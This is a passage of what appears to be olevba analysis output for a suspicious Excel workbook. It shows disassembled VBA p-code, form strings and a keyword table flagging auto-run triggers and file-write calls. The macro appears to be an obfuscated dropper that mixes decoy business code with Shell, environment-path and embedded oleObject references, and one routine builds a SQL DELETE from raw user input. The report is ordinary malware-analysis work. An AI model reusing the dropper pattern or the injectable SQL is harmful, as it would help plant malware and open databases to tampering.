  3077. ' ArgsCall (Call) ddArray 0x0002
  3078. ' Line #302:
  3079. ' LitStr 0x0001 "2"
  3080. ' LitDI2 0x0001
  3081. ' ArgsLd ount 0x0001
  3082. ' ArgsCall (Call) ddArray 0x0002
  3083. ' Line #303:
  3084. ' Line #304:
  3085. ' Line #305:
  3086. ' EndSub
  3087. ' Line #306:
  3088. ' LineCont 0x0004 08 00 00 00
  3089. ' FuncDefn (Sub B2(ByRef ArrayInsert As Variant, ByVal Index As Long, ByVal Value As Variant))
  3090. ' Line #307:
  3091. ' Ld ArrayInsert
  3092. ' ArgsLd ArrayValue 0x0001
  3093. ' LitStr 0x002A "Error:ArrayInsert:ArrayValue is not Array."
  3094. ' ArgsCall (Call) Assert 0x0002
  3095. ' Line #308:
  3096. ' LineCont 0x0004 12 00 08 00
  3097. ' Ld ArrayInsert
  3098. ' FnLBound 0x0000
  3099. ' Ld Index
  3100. ' Ld ArrayInsert
  3101. ' FnUBound 0x0000
  3102. ' ArgsLd IsArray 0x0003
  3103. ' LitStr 0x0023 "Error:ArrayInsert:Index Range Over."
  3104. ' ArgsCall (Call) Assert 0x0002
  3105. ' Line #309:
  3106. ' Line #310:
  3107. ' Ld ArrayInsert
  3108. ' FnLBound 0x0000
  3109. ' Ld ArrayInsert
  3110. ' FnUBound 0x0000
  3111. ' LitDI2 0x0001
  3112. ' Add
  3113. ' Redim (Preserve) ArrayInsert 0x0001 (As Variant)
  3114. ' Line #311:
  3115. ' Dim
  3116. ' VarDefn I (As Long)
  3117. ' Line #312:
  3118. ' StartForVariable
  3119. ' Ld I
  3120. ' EndForVariable
  3121. ' Ld ArrayInsert
  3122. ' FnUBound 0x0000
  3123. ' Ld Index
  3124. ' LitDI2 0x0001
  3125. ' Add
  3126. ' LitDI2 0x0001
  3127. ' UMi
  3128. ' ForStep
  3129. ' Line #313:
  3130. ' Ld I
  3131. ' ArgsLd ArrayInsert 0x0001
  3132. ' Ld I
  3133. ' LitDI2 0x0001
  3134. ' Sub
  3135. ' ArgsLd ArrayInsert 0x0001
  3136. ' ArgsCall (Call) InRange 0x0002
  3137. ' Line #314:
  3138. ' StartForVariable
  3139. ' Next
  3140. ' Line #315:
  3141. ' Ld Index
  3142. ' ArgsLd ArrayInsert 0x0001
  3143. ' Ld Value
  3144. ' ArgsCall (Call) InRange 0x0002
  3145. ' Line #316:
  3146. ' EndSub
  3147. ' Line #317:
  3148. ' LineCont 0x000C 04 00 00 00 09 00 00 00 0E 00 00 00
  3149. ' FuncDefn (Public Function IsArray(ByVal SetValue As Long, ByVal Value As Long, ByVal MinValue As Long) As Boolean)
  3150. ' Line #318:
  3151. ' Line #319:
  3152. ' Ld SetValue
  3153. ' Ld Value
  3154. ' Le
  3155. ' Paren
  3156. ' Ld Value
  3157. ' Ld MinValue
  3158. ' Le
  3159. ' Paren
  3160. ' And
  3161. ' Paren
  3162. ' St IsArray
  3163. ' Line #320:
  3164. ' Line #321:
  3165. ' EndFunc
  3166. ' Line #322:
  3167. ' FuncDefn (Private Sub MaxValue())
  3168. ' Line #323:
  3169. ' Dim
  3170. ' VarDefn bis
  3171. ' Line #324:
  3172. ' LitStr 0x0001 "A"
  3173. ' LitStr 0x0001 "B"
  3174. ' LitStr 0x0001 "C"
  3175. ' ArgsArray Array 0x0003
  3176. ' St bis
  3177. ' Line #325:
  3178. ' Line #326:
  3179. ' LitStr 0x0001 "B"
  3180. ' LitDI2 0x0001
  3181. ' ArgsLd bis 0x0001
  3182. ' ArgsCall (Call) ddArray 0x0002
  3183. ' Line #327:
  3184. ' LitDI2 0x0003
  3185. ' Ld bis
  3186. ' ArgsLd testArrayInsert 0x0001
  3187. ' ArgsCall (Call) ddArray 0x0002
  3188. ' Line #328:
  3189. ' Ld bis
  3190. ' LitDI2 0x0001
  3191. ' LitStr 0x0001 "1"
  3192. ' ArgsCall (Call) B2 0x0003
  3193. ' Line #329:
  3194. ' LitDI2 0x0004
  3195. ' Ld bis
  3196. ' ArgsLd testArrayInsert 0x0001
  3197. ' ArgsCall (Call) ddArray 0x0002
  3198. ' Line #330:
  3199. ' LitStr 0x0001 "1"
  3200. ' LitDI2 0x0001
  3201. ' ArgsLd bis 0x0001
  3202. ' ArgsCall (Call) ddArray 0x0002
  3203. ' Line #331:
  3204. ' Line #332:
  3205. ' Dim
  3206. ' VarDefn B
  3207. ' Line #333:
  3208. ' OptionBase
  3209. ' LitDI2 0x0002
  3210. ' Redim B 0x0001 (As Variant)
  3211. ' Line #334:
  3212. ' SetStmt
  3213. ' LitStr 0x000F "VBScript.RegExp"
  3214. ' ArgsLd RegCreateFlag 0x0001
  3215. ' LitDI2 0x0000
  3216. ' ArgsSet B 0x0001
  3217. ' Line #335:
  3218. ' SetStmt
  3219. ' LitNothing
  3220. ' LitDI2 0x0002
  3221. ' ArgsSet B 0x0001
  3222. ' Line #336:
  3223. ' Ld ArrayCount
  3224. ' MemLd Shel
  3225. ' MemLd l32
  3226. ' LitDI2 0x0001
  3227. ' ArgsLd B 0x0001
  3228. ' MemLd l32
  3229. ' ArgsCall (Call) ddArray 0x0002
  3230. ' Line #337:
  3231. ' Ld B
  3232. ' LitDI2 0x0001
  3233. ' Ld CurrentDirectory
  3234. ' ArgsCall (Call) B2 0x0003
  3235. ' Line #338:
  3236. ' LitStr 0x0008 "test.txt"
  3237. ' LitStr 0x0010 "C:\temp\test.txt"
  3238. ' LitDI2 0x0001
  3239. ' ArgsLd B 0x0001
  3240. ' ArgsMemLd fso 0x0001
  3241. ' ArgsCall (Call) ddArray 0x0002
  3242. ' Line #339:
  3243. ' EndSub
  3244. ' Line #340:
  3245. ' FuncDefn (Public Sub Assert(ByVal Value As Boolean, Optional ByVal GetFileName As String))
  3246. ' Line #341:
  3247. ' Ld Value
  3248. ' LitVarSpecial (False)
  3249. ' Eq
  3250. ' IfBlock
  3251. ' Line #342:
  3252. ' LitDI2 0x270F
  3253. ' ParamOmitted
  3254. ' Ld GetFileName
  3255. ' Ld Err
  3256. ' ArgsMemCall (Call) Raise 0x0003
  3257. ' Line #343:
  3258. ' EndIfBlock
  3259. ' Line #344:
  3260. ' EndSub
  3261. ' Line #345:
  3262. ' FuncDefn (Public Sub InRange(ByRef Message, ByVal Value))
  3263. ' Line #346:
  3264. ' Ld Value
  3265. ' ArgsLd Variable 0x0001
  3266. ' IfBlock
  3267. ' Line #347:
  3268. ' SetStmt
  3269. ' Ld Value
  3270. ' Set Message
  3271. ' Line #348:
  3272. ' ElseBlock
  3273. ' Line #349:
  3274. ' Ld Value
  3275. ' St Message
  3276. ' Line #350:
  3277. ' EndIfBlock
  3278. ' Line #351:
  3279. ' EndSub
  3280. ' Line #352:
  3281. ' LineCont 0x0004 09 00 00 00
  3282. ' ConstFuncExpr
  3283. ' LitDI2 0x0001
  3284. ' FuncDefn (Public Function testArrayInsert(ByRef ArrayInsert As Variant, Optional IsObject) As Long)
  3285. ' Line #353:
  3286. ' Ld ArrayInsert
  3287. ' ArgsLd ArrayValue 0x0001
  3288. ' LitStr 0x0029 "Error:ArrayCount:ArrayValue is not Array."
  3289. ' ArgsCall (Call) Assert 0x0002
  3290. ' Line #354:
  3291. ' Line #355:
  3292. ' LineCont 0x0008 02 00 08 00 0B 00 08 00
  3293. ' Ld ArrayInsert
  3294. ' Ld IsObject
  3295. ' Ld Dimension
  3296. ' ArgsMemLd Error 0x0002
  3297. ' Ld ArrayInsert
  3298. ' Ld IsObject
  3299. ' Ld UBoundNo
  3300. ' ArgsMemLd Error 0x0002
  3301. ' Sub
  3302. ' LitDI2 0x0001
  3303. ' Add
  3304. ' St testArrayInsert
  3305. ' Line #356:
  3306. ' EndFunc
  3307. ' Line #357:
  3308. ' FuncDefn (Private Sub LBoundNo())
  3309. ' Line #358:
  3310. ' LitVarSpecial (False)
  3311. ' LitStr 0x0003 "???"
  3312. ' ArgsCall (Call) Assert 0x0002
  3313. ' Line #359:
  3314. ' EndSub
  3315. ' Line #360:
  3316. ' Line #361:
  3317. ' FuncDefn (Public Function ddArray(ByVal bis As Variant, ByVal B As Variant) As Boolean)
  3318. ' Line #362:
  3319. ' Ld bis
  3320. ' Ld B
  3321. ' Eq
  3322. ' Paren
  3323. ' St ddArray
  3324. ' Line #363:
  3325. ' Ld ddArray
  3326. ' LitVarSpecial (False)
  3327. ' Eq
  3328. ' IfBlock
  3329. ' Line #364:
  3330. ' LineCont 0x0008 07 00 0C 00 10 00 0C 00
  3331. ' LitStr 0x0006 "A != B"
  3332. ' Ld testAssert
  3333. ' Add
  3334. ' LitStr 0x0004 "A = "
  3335. ' Add
  3336. ' Ld bis
  3337. ' Coerce (Str)
  3338. ' Add
  3339. ' Ld testAssert
  3340. ' Add
  3341. ' LitStr 0x0004 "B = "
  3342. ' Add
  3343. ' Ld B
  3344. ' Coerce (Str)
  3345. ' Add
  3346. ' ArgsCall (Call) MsgBox 0x0001
  3347. ' Line #365:
  3348. ' EndIfBlock
  3349. ' Line #366:
  3350. ' EndFunc
  3351. ' Line #367:
  3352. ' Line #368:
  3353. ' Line #369:
  3354. ' Line #370:
  3355. ' Line #371:
  3356. ' Line #372:
  3357. ' Line #373:
  3358. ' Line #374:
  3359. ' Line #375:
  3360. ' Line #376:
  3361. ' Line #377:
  3362. ' Line #378:
  3363. ' Line #379:
  3364. ' _VBA_PROJECT_CUR/VBA/UserForm1 - 1175 bytes
  3365. ' _VBA_PROJECT_CUR/VBA/Module5 - 7874 bytes
  3366. ' Line #0:
  3367. ' Line #1:
  3368. ' FuncDefn (Public Function RedButton(vbCrLf As Double))
  3369. ' Line #2:
  3370. ' Line #3:
  3371. ' LitStr 0x0007 "DosTres"
  3372. ' St dImmer
  3373. ' Line #4:
  3374. ' Line #5:
  3375. ' Ld WelcomeDialog
  3376. ' MemLd Visible
  3377. ' LitVarSpecial (False)
  3378. ' Ne
  3379. ' IfBlock
  3380. ' Line #6:
  3381. ' ExitFunc
  3382. ' Line #7:
  3383. ' EndIfBlock
  3384. ' Line #8:
  3385. ' LitDI2 0x0003
  3386. ' St DosTres
  3387. ' Line #9:
  3388. ' Ld DosTres
  3389. ' LitDI2 0x0001
  3390. ' Sub
  3391. ' St DosTres
  3392. ' Line #10:
  3393. ' Line #11:
  3394. ' SetStmt
  3395. ' New Lumene
  3396. ' Set car
  3397. ' Line #12:
  3398. ' SetStmt
  3399. ' New <crash>
  3400. ' Set reqPlace
  3401. ' Line #13:
  3402. ' Ld DosTres
  3403. ' SelectCase
  3404. ' Line #14:
  3405. ' LitDI2 0x0000
  3406. ' Case
  3407. ' CaseDone
  3408. ' Line #15:
  3409. ' LitStr 0x0011 "N health problems"
  3410. ' St getFile
  3411. ' Line #16:
  3412. ' LitDI2 0x0001
  3413. ' Case
  3414. ' CaseDone
  3415. ' Line #17:
  3416. ' LitStr 0x0015 "Minor health problems"
  3417. ' St getFile
  3418. ' Line #18:
  3419. ' Line #19:
  3420. ' LitDI2 0x0003
  3421. ' Case
  3422. ' CaseDone
  3423. ' Line #20:
  3424. ' LitStr 0x0012 "Sev ere disability"
  3425. ' St getFile
  3426. ' Line #21:
  3427. ' EndSelect
  3428. ' Line #22:
  3429. ' Line #23:
  3430. ' Dim
  3431. ' VarDefn WshShell (As String)
  3432. ' Line #24:
  3433. ' Line #25:
  3434. ' LitStr 0x0001 "%"
  3435. ' Ld Form0
  3436. ' MemLd TextBox1
  3437. ' MemLd Tag
  3438. ' Concat
  3439. ' St SpecialPath
  3440. ' Line #26:
  3441. ' Line #27:
  3442. ' Line #28:
  3443. ' Line #29:
  3444. ' Ld SpecialPath
  3445. ' St PRP
  3446. ' Line #30:
  3447. ' Ld PRP
  3448. ' LitStr 0x0000 ""
  3449. ' Add
  3450. ' LitStr 0x0000 ""
  3451. ' Add
  3452. ' St PRP
  3453. ' Line #31:
  3454. ' Ld PRP
  3455. ' LitStr 0x0001 "%"
  3456. ' Add
  3457. ' St PRP
  3458. ' Line #32:
  3459. ' Ld PRP
  3460. ' Ld reqPlace
  3461. ' ArgsMemLd TBT 0x0001
  3462. ' St PRP
  3463. ' Line #33:
  3464. ' Line #34:
  3465. ' LitDI2 0x0000
  3466. ' St ExpandEnvironmentStrings
  3467. ' Line #35:
  3468. ' LitDI2 0x0000
  3469. ' St firstWeek
  3470. ' Line #36:
  3471. ' Dim
  3472. ' VarDefn firstDay (As Date)
  3473. ' Line #37:
  3474. ' Ld PRP
  3475. ' Ld Form0
  3476. ' MemLd TextBox1
  3477. ' MemSt Tag
  3478. ' Line #38:
  3479. ' LitDI2 0x0002
  3480. ' St firstWeek
  3481. ' Line #39:
  3482. ' Line #40:
  3483. ' LitDI2 0x0004
  3484. ' St firstdate
  3485. ' Line #41:
  3486. ' Dim
  3487. ' VarDefn lastDay (As Date)
  3488. ' Line #42:
  3489. ' LitDI2 0x0000
  3490. ' St lastdate
  3491. ' Line #43:
  3492. ' LitDI2 0x0000
  3493. ' St firstdate
  3494. ' Line #44:
  3495. ' Line #45:
  3496. ' Ld reqPlace
  3497. ' Ld Form0
  3498. ' MemLd TextBox3
  3499. ' MemLd lastWeek
  3500. ' LitStr 0x0000 ""
  3501. ' Concat
  3502. ' Ld car
  3503. ' ArgsMemLd CheckCar 0x0002
  3504. ' St getFile
  3505. ' Line #46:
  3506. ' LitDI2 0x0001
  3507. ' St ExpandEnvironmentStrings
  3508. ' Line #47:
  3509. ' Line #48:
  3510. ' LitDI2 0x0003
  3511. ' St lastdate
  3512. ' Line #49:
  3513. ' Ld getFile
  3514. ' Ld Form0
  3515. ' MemLd TextBox3
  3516. ' MemSt Tag
  3517. ' Line #50:
  3518. ' Line #51:
  3519. ' Line #52:
  3520. ' Ld firstWeek
  3521. ' LitDI2 0x0001
  3522. ' Eq
  3523. ' Not
  3524. ' IfBlock
  3525. ' Line #53:
  3526. ' Ld firstDay
  3527. ' LitDI2 0x0008
  3528. ' Ld firstWeek
  3529. ' Sub
  3530. ' Paren
  3531. ' Add
  3532. ' St firstDay
  3533. ' Line #54:
  3534. ' Ld ExpandEnvironmentStrings
  3535. ' LitDI2 0x0001
  3536. ' Add
  3537. ' St ExpandEnvironmentStrings
  3538. ' Line #55:
  3539. ' EndIfBlock
  3540. ' Line #56:
  3541. ' Ld firstdate
  3542. ' LitDI2 0x0006
  3543. ' Eq
  3544. ' IfBlock
  3545. ' Line #57:
  3546. ' Ld lastDay
  3547. ' LitDI2 0x0001
  3548. ' Add
  3549. ' St lastDay
  3550. ' Line #58:
  3551. ' Ld firstdate
  3552. ' LitDI2 0x0001
  3553. ' Add
  3554. ' St firstdate
  3555. ' Line #59:
  3556. ' Ld firstdate
  3557. ' LitDI2 0x0007
  3558. ' Eq
  3559. ' Not
  3560. ' ElseIfBlock
  3561. ' Line #60:
  3562. ' Ld lastDay
  3563. ' Ld firstdate
  3564. ' Sub
  3565. ' St lastDay
  3566. ' Line #61:
  3567. ' LitDI2 0x0007
  3568. ' St firstdate
  3569. ' Line #62:
  3570. ' Ld lastdate
  3571. ' LitDI2 0x0001
  3572. ' Sub
  3573. ' St lastdate
  3574. ' Line #63:
  3575. ' EndIfBlock
  3576. ' Line #64:
  3577. ' Line #65:
  3578. ' Line #66:
  3579. ' LitDI2 0x0000
  3580. ' St ControlTipText
  3581. ' Line #67:
  3582. ' Line #68:
  3583. ' Line #69:
  3584. ' Ld Form0
  3585. ' MemLd TextBox1
  3586. ' MemLd Tag
  3587. ' LitStr 0x0000 ""
  3588. ' Add
  3589. ' Paren
  3590. ' ArgsCall ChDir 0x0001
  3591. ' Line #70:
  3592. ' Ld WelcomeDialog
  3593. ' MemLd Visible
  3594. ' LitVarSpecial (False)
  3595. ' Eq
  3596. ' IfBlock
  3597. ' Line #71:
  3598. ' Ld WelcomeDialog
  3599. ' ArgsMemCall Iteration 0x0000
  3600. ' Line #72:
  3601. ' EndIfBlock
  3602. ' Line #73:
  3603. ' Line #74:
  3604. ' EndFunc
  3605. ' Line #75:
  3606. ' Line #76:
  3607. ' Line #77:
  3608. ' Line #78:
  3609. ' Line #79:
  3610. ' Line #80:
  3611. ' Line #81:
  3612. ' Line #82:
  3613. ' FuncDefn (Private Sub Show())
  3614. ' Line #83:
  3615. ' LitStr 0x0009 "?????????"
  3616. ' Ld Command7_Click
  3617. ' ArgsLd MsgBox 0x0002
  3618. ' St B
  3619. ' Line #84:
  3620. ' Ld B
  3621. ' Ld vbYesNo
  3622. ' Eq
  3623. ' IfBlock
  3624. ' Line #85:
  3625. ' LitStr 0x0020 "delete from cinema where cinid='"
  3626. ' St bis
  3627. ' Line #86:
  3628. ' Ld bis
  3629. ' Ld vbYes
  3630. ' MemLd Text
  3631. ' Add
  3632. ' LitStr 0x0001 "'"
  3633. ' Add
  3634. ' St bis
  3635. ' Line #87:
  3636. ' Ld bis
  3637. ' Ld Text1
  3638. ' ArgsMemCall IgnoreCase 0x0001
  3639. ' Line #88:
  3640. ' Ld cnmovie
  3641. ' ArgsMemCall Close 0x0000
  3642. ' Line #89:
  3643. ' LitStr 0x0014 "select * from cinema"
  3644. ' St rs4
  3645. ' Line #90:
  3646. ' Ld rs4
  3647. ' Ld Text1
  3648. ' Ld Sql
  3649. ' Ld adOpenDynamic
  3650. ' Ld cnmovie
  3651. ' ArgsMemCall Open 0x0004
  3652. ' Line #91:
  3653. ' Ld rs
  3654. ' MemLd adLockOptimistic
  3655. ' Ld rs
  3656. ' MemLd EOF
  3657. ' Or
  3658. ' IfBlock
  3659. ' Line #92:
  3660. ' LitStr 0x0006 "?????!"
  3661. ' ArgsCall MsgBox 0x0001
  3662. ' Line #93:
  3663. ' ElseBlock
  3664. ' Line #94:
  3665. ' Ld cnmovie
  3666. ' ArgsMemCall BOF 0x0000
  3667. ' Line #95:
  3668. ' Ld MoveFirst
  3669. ' ArgsMemCall (Call) View 0x0000
  3670. ' Line #96:
  3671. ' EndIfBlock
  3672. ' Line #97:
  3673. ' EndIfBlock
  3674. ' Line #98:
  3675. ' EndSub
  3676. ' Line #99:
  3677. ' Line #100:
  3678. ' Line #101:
  3679. ' Line #102:
  3680. ' Line #103:
  3681. ' FuncDefn (Private Sub Data())
  3682. ' Line #104:
  3683. ' Dim
  3684. ' LitDI2 0x0005
  3685. ' VarDefn nomor
  3686. ' Line #105:
  3687. ' Dim
  3688. ' VarDefn urutan (As Byte)
  3689. ' Line #106:
  3690. ' Line #107:
  3691. ' Ld Data1
  3692. ' MemLd Recordset
  3693. ' MemLd hitung
  3694. ' LitDI2 0x0000
  3695. ' Eq
  3696. ' IfBlock
  3697. ' Line #108:
  3698. ' LitStr 0x0002 "Dr"
  3699. ' LitStr 0x0003 "001"
  3700. ' Concat
  3701. ' St nomor
  3702. ' Line #109:
  3703. ' ElseBlock
  3704. ' Line #110:
  3705. ' Ld Data1
  3706. ' MemLd Recordset
  3707. ' ArgsMemCall RecordCount 0x0000
  3708. ' Line #111:
  3709. ' Ld Data1
  3710. ' MemLd Recordset
  3711. ' DictLd Edit
  3712. ' LitDI2 0x0003
  3713. ' ArgsLd Left 0x0002
  3714. ' ArgsLd MoveLast 0x0001
  3715. ' LitStr 0x0003 "000"
  3716. ' Ne
  3717. ' IfBlock
  3718. ' Line #112:
  3719. ' LitStr 0x0002 "00"
  3720. ' LitStr 0x0003 "001"
  3721. ' Concat
  3722. ' St nomor
  3723. ' Line #113:
  3724. ' ElseBlock
  3725. ' Line #114:
  3726. ' Ld Data1
  3727. ' MemLd Recordset
  3728. ' DictLd Edit
  3729. ' LitDI2 0x0003
  3730. ' ArgsLd Val 0x0002
  3731. ' ArgsLd MoveLast 0x0001
  3732. ' LitDI2 0x0001
  3733. ' Add
  3734. ' St urutan
  3735. ' Line #115:
  3736. ' LitStr 0x0002 "Dr"
  3737. ' LitStr 0x0003 "000"
  3738. ' Ld urutan
  3739. ' Concat
  3740. ' LitDI2 0x0003
  3741. ' ArgsLd Val 0x0002
  3742. ' Concat
  3743. ' St nomor
  3744. ' Line #116:
  3745. ' EndIfBlock
  3746. ' Line #117:
  3747. ' EndIfBlock
  3748. ' Line #118:
  3749. ' Ld nomor
  3750. ' Ld nom
  3751. ' MemLd M
  3752. ' MemSt pil
  3753. ' Line #119:
  3754. ' Line #120:
  3755. ' EndSub
  3756. ' Line #121:
  3757. ' Line #122:
  3758. ' FuncDefn (Private Sub Right())
  3759. ' Line #123:
  3760. ' Ld cmd_Batal_Click
  3761. ' ArgsMemCall (Call) be 0x0000
  3762. ' Line #124:
  3763. ' Ld rsih
  3764. ' ArgsMemCall (Call) td 0x0000
  3765. ' Line #125:
  3766. ' LitVarSpecial (False)
  3767. ' Ld cmd_Batal
  3768. ' MemSt Enabled
  3769. ' Line #126:
  3770. ' LitVarSpecial (True)
  3771. ' Ld cmd_Perbaiki
  3772. ' MemSt Enabled
  3773. ' Line #127:
  3774. ' LitVarSpecial (True)
  3775. ' Ld cmd_Hapus
  3776. ' MemSt Enabled
  3777. ' Line #128:
  3778. ' LitVarSpecial (True)
  3779. ' Ld e
  3780. ' MemSt Enabled
  3781. ' Line #129:
  3782. ' EndSub
  3783. ' Line #130:
  3784. ' Line #131:
  3785. ' FuncDefn (Private Sub k_bisa())
  3786. ' Line #132:
  3787. ' Dim
  3788. ' VarDefn var (As String)
  3789. ' Line #133:
  3790. ' LitStr 0x0029 "Masukan Kode Dokter yang ingin anda cari!"
  3791. ' LitStr 0x0010 "Cari data dokter"
  3792. ' ArgsLd InputBox 0x0002
  3793. ' St var
  3794. ' Line #134:
  3795. ' Ld var
  3796. ' LitVarSpecial (Empty)
  3797. ' Eq
  3798. ' If
  3799. ' BoSImplicit
  3800. ' ExitSub
  3801. ' EndIf
  3802. ' Line #135:
  3803. ' Ld var
  3804. ' LitStr 0x0000 ""
  3805. ' Ne
  3806. ' IfBlock
  3807. ' Line #136:
  3808. ' LitStr 0x000B "kode_dokter"
  3809. ' Ld Data1
  3810. ' MemLd Recordset
  3811. ' MemSt Index
  3812. ' Line #137:
  3813. ' LitStr 0x0001 "="
  3814. ' Ld var
  3815. ' Ld Data1
  3816. ' MemLd Recordset
  3817. ' ArgsMemCall Seek 0x0002
  3818. ' Line #138:
  3819. ' Ld Data1
  3820. ' MemLd Recordset
  3821. ' MemLd NoMatch
  3822. ' Not
  3823. ' IfBlock
  3824. ' Line #139:
  3825. ' Ld tam
  3826. ' ArgsMemCall (Call) tam 0x0000
  3827. ' Line #140:
  3828. ' Ld cmd_cari_Click
  3829. ' ArgsMemCall (Call) tdk_bi 0x0000
  3830. ' Line #141:
  3831. ' Ld bi
  3832. ' ArgsMemCall (Call) kun 0x0000
  3833. ' Line #142:
  3834. ' ElseBlock
  3835. ' Line #143:
  3836. ' LitStr 0x001F "Data dokter dengan kode dokter "
  3837. ' Ld var
  3838. ' Concat
  3839. ' LitStr 0x0012 " tidak diketemukan"
  3840. ' Concat
  3841. ' ArgsCall MsgBox 0x0001
  3842. ' Line #144:
  3843. ' EndIfBlock
  3844. ' Line #145:
  3845. ' EndIfBlock
  3846. ' Line #146:
  3847. ' EndSub
  3848. ' Line #147:
  3849. ' Line #148:
  3850. ' Line #149:
  3851. ' Line #150:
  3852. ' FuncDefn (Public Function TestResult(Match As Variant))
  3853. ' Line #151:
  3854. ' LitVarSpecial (False)
  3855. ' St TestResult
  3856. ' Line #152:
  3857. ' Ld IsNumeric
  3858. ' ArgsLd ci 0x0001
  3859. ' IfBlock
  3860. ' Line #153:
  3861. ' Ld IsNumeric
  3862. ' LitDI2 0x0000
  3863. ' Eq
  3864. ' IfBlock
  3865. ' Line #154:
  3866. ' LitVarSpecial (True)
  3867. ' St TestResult
  3868. ' Line #155:
  3869. ' EndIfBlock
  3870. ' Line #156:
  3871. ' EndIfBlock
  3872. ' Line #157:
  3873. ' EndFunc
  3874. ' Line #158:
  3875. ' FuncDefn (Private Sub ExcelReturn())
  3876. ' Line #159:
  3877. ' Dim
  3878. ' VarDefn var (As String)
  3879. ' Line #160:
  3880. ' LitStr 0x0026 "Masukan Kode dokter yang akan dihapus!"
  3881. ' LitStr 0x000C "Hapus dokter"
  3882. ' ArgsLd InputBox 0x0002
  3883. ' St var
  3884. ' Line #161:
  3885. ' Ld var
  3886. ' LitVarSpecial (Empty)
  3887. ' Eq
  3888. ' If
  3889. ' BoSImplicit
  3890. ' ExitSub
  3891. ' EndIf
  3892. ' Line #162:
  3893. ' Ld var
  3894. ' LitStr 0x0000 ""
  3895. ' Eq
  3896. ' IfBlock
  3897. ' Line #163:
  3898. ' LitStr 0x000B "Kode_dokter"
  3899. ' Ld Data1
  3900. ' MemLd Recordset
  3901. ' MemSt Index
  3902. ' Line #164:
  3903. ' LitStr 0x0001 "="
  3904. ' Ld var
  3905. ' Ld Data1
  3906. ' MemLd Recordset
  3907. ' ArgsMemCall Seek 0x0002
  3908. ' Line #165:
  3909. ' Ld Data1
  3910. ' MemLd Recordset
  3911. ' MemLd NoMatch
  3912. ' Not
  3913. ' IfBlock
  3914. ' Line #166:
  3915. ' Ld Data1
  3916. ' MemLd Recordset
  3917. ' ArgsMemCall cmd_Hapus_Click 0x0000
  3918. ' Line #167:
  3919. ' Ld Data1
  3920. ' ArgsMemCall Delete 0x0000
  3921. ' Line #168:
  3922. ' Ld Data1
  3923. ' MemLd Recordset
  3924. ' ArgsMemCall BOF 0x0000
  3925. ' Line #169:
  3926. ' ElseBlock
  3927. ' Line #170:
  3928. ' LitStr 0x001F "Data dokter dengan kode dokter "
  3929. ' Ld var
  3930. ' Concat
  3931. ' LitStr 0x0012 " tidak diketemukan"
  3932. ' Concat
  3933. ' ArgsCall MsgBox 0x0001
  3934. ' Line #171:
  3935. ' Line #172:
  3936. ' EndIfBlock
  3937. ' Line #173:
  3938. ' EndIfBlock
  3939. ' Line #174:
  3940. ' EndSub
  3941. ' Line #175:
  3942. ' Line #176:
  3943. ' Line #177:
  3944. ' Line #178:
  3945. ' Line #179:
  3946. ' Line #180:
  3947. ' Line #181:
  3948. ' _VBA_PROJECT_CUR/VBA/Form0 - 1172 bytes
  3949. ' _VBA_PROJECT_CUR/VBA/Sheet3 - 993 bytes
  3950. ' _VBA_PROJECT_CUR/VBA/Sheet2 - 993 bytes
  3951. -------------------------------------------------------------------------------
  3952. VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
  3953. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3954. H�,�
  3955. -------------------------------------------------------------------------------
  3956. VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
  3957. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3958. Tahoma�
  3959. -------------------------------------------------------------------------------
  3960. VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0/o'
  3961. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3962. \oleObject*.bin
  3963. -------------------------------------------------------------------------------
  3964. VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
  3965. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3966. �Label1
  3967. -------------------------------------------------------------------------------
  3968. VBA FORM STRING IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/UserForm1/o'
  3969. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3970. �xl\embeddings\oleObject1.bin�
  3971. -------------------------------------------------------------------------------
  3972. VBA FORM Variable "b'TextBox1'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0'
  3973. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3974. b''
  3975. -------------------------------------------------------------------------------
  3976. VBA FORM Variable "b'TextBox3'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0'
  3977. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3978. b'\\oleObject*.bin'
  3979. -------------------------------------------------------------------------------
  3980. VBA FORM Variable "b'ComboBox1'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0'
  3981. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3982. b''
  3983. -------------------------------------------------------------------------------
  3984. VBA FORM Variable "b'Label1'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
  3985. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3986. None
  3987. -------------------------------------------------------------------------------
  3988. VBA FORM Variable "b'Label11'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
  3989. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  3990. None
  3991. +----------+--------------------+---------------------------------------------+
  3992. |Type |Keyword |Description |
  3993. +----------+--------------------+---------------------------------------------+
  3994. |AutoExec |Workbook_Open |Runs when the Excel Workbook is opened |
  3995. |AutoExec |cmd_Keluar_Click |Runs when the file is opened and ActiveX |
  3996. | | |objects trigger events |
  3997. |AutoExec |TextBox2_Change |Runs when the file is opened and ActiveX |
  3998. | | |objects trigger events |
  3999. |Suspicious|Open |May open a file |
  4000. |Suspicious|Write |May write to a file (if combined with Open) |
  4001. |Suspicious|Put |May write to a file (if combined with Open) |
  4002. |Suspicious|Binary |May read or write a binary file (if combined |
  4003. | | |with Open) |
  4004. |Suspicious|FileCopy |May copy a file |
